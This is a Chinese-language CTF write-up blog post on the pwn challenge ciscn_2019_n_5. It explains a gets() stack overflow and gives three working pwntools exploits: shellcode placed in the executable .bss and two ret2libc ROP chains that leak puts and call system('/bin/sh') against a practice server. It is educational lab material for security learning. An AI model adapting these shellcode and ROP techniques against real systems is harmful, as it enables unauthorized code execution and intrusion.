LOADING

加载过慢请开启缓存 浏览器默认开启

[CISCN 2019华北] PWN5(ciscn_2019_n_5) 复现

2023/9/5 CTF PWN CISCN

[CISCN 2019华北] PWN5(ciscn_2019_n_5)复现

ciscn_2019_n_5

老套路,首先 checksec 一下文件,保护机制全关(这个时候就要想到可以直接 shellcode)。

然后 IDA 一下看看伪代码,可以发现一个在 .bss 段上面的 name,并且在该代码段为可读可写可执行的权限,也很容易看出来 gets 造成了溢出,下面就开始对症下药:


法一:

直接在 .bssname 上面直接构造 shellcode(因为该文件未开启 NX 保护机制,并且该代码段权限全开),然后直接溢出就可以得到 shell。

from pwn import *
context(arch='amd64', os='linux', log_level='debug')

io = remote('node4.anna.nssctf.cn', 28499)

shellcode = asm(shellcraft.sh())
io.sendlineafter(b'tell me your name\n', shellcode)

name = 0x601080
payload = b'a' * (0x20 + 8) + p64(name)

io.recvuntil(b'What do you want to say to me?\n')
io.sendline(payload)
io.interactive()

法二:(无 libc 版本文件)

可以直接看成是 ret2libc,直接泄露 libc,构造 rop 链来获得 shell。因为这题有一个在 .bss 段上面的 name,所以可以直接把 /bin/sh 写到 name 里面,最后直接执行就能获得 shell。

EXP 如下:

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')

# p = process('./pwn')
p = remote('node4.anna.nssctf.cn', 28499)
elf = ELF('./111')

# gdb.attach(p, 'b *0x4006a9')
plt_addr = elf.sym['puts']
got_addr = elf.got['puts']
main_addr = 0x400636
ret_addr = 0x4004c9
rdi_addr = 0x400713
name_addr = 0x601080

p.sendafter(b'name\n', b'1')

payload = b'a' * (0x20 + 8) + p64(rdi_addr) + p64(got_addr) + p64(plt_addr) + p64(main_addr)
p.sendlineafter(b'me?\n', payload)

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')

p.sendafter(b'name\n', b'/bin/sh\x00')
payload = b'a' * (0x20 + 8) + p64(ret_addr) + p64(rdi_addr) + p64(name_addr) + p64(system)

p.sendlineafter(b'me?\n', payload)
p.interactive()

法三:(有 libc 版本文件)

此题为 Ubuntu 18(64 位),可在 BUU 上面直接找到相对应的 libc 版本。构造的时候有些地方与无 libc 版本的不同,需要注意。

EXP 如下:

python复制编辑from pwn import *
context(os='linux', arch='amd64', log_level='debug')

# p = process('./pwn')
p = remote('node4.anna.nssctf.cn', 28158)
elf = ELF('./111')
libc = ELF('./libc-2.27.so')

# gdb.attach(p, 'b *0x4006a9')
plt_addr = elf.sym['puts']
got_addr = elf.got['puts']
main_addr = 0x400636
ret_addr = 0x4004c9
rdi_addr = 0x400713
name_addr = 0x601080

p.sendafter(b'name\n', b'1')

payload = b'a' * (0x20 + 8) + p64(rdi_addr) + p64(got_addr) + p64(plt_addr) + p64(main_addr)
p.sendlineafter(b'me?\n', payload)

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']

p.sendafter(b'name\n', b'/bin/sh\x00')
payload = b'a' * (0x20 + 8) + p64(ret_addr) + p64(rdi_addr) + p64(name_addr) + p64(system)

p.sendlineafter(b'me?\n', payload)
p.interactive()

总结

此题我认为需要认真分析伪代码,发现其漏洞和一些重要信息,并且需要了解怎么构造 shellcode 和构造 rop 执行流,这些都是比较基础的知识点。

最后法二和法三构造 EXP 有些不同点,可以尝试对比一下,你应该会收获不少(上述为个人看法,如有不对,希望各位师傅指正)。

⬅ 上一篇
[SDCTF 2022]printFAILED 复现
2023-09-06  |  | PWN, SDCTF
下一篇 ➡
[HGAME 2023 week1] PWN 复现
2023-09-04  |  | PWN, HGAME
0%
Rope Head